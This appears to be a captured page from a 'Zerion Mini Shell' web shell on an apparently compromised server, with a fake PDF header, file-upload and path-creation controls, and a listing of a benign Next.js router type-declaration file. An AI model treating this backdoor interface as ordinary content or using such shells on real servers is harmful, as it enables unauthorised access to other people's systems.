%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/next/dist/client/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/next/dist/client/with-router.d.ts

import React from 'react';
import type { BaseContext, NextComponentType, NextPageContext } from '../shared/lib/utils';
import type { NextRouter } from './router';
export declare type WithRouterProps = {
    router: NextRouter;
};
export declare type ExcludeRouterProps<P> = Pick<P, Exclude<keyof P, keyof WithRouterProps>>;
export default function withRouter<P extends WithRouterProps, C extends BaseContext = NextPageContext>(ComposedComponent: NextComponentType<C, any, P>): React.ComponentType<ExcludeRouterProps<P>>;

Zerion Mini Shell 1.0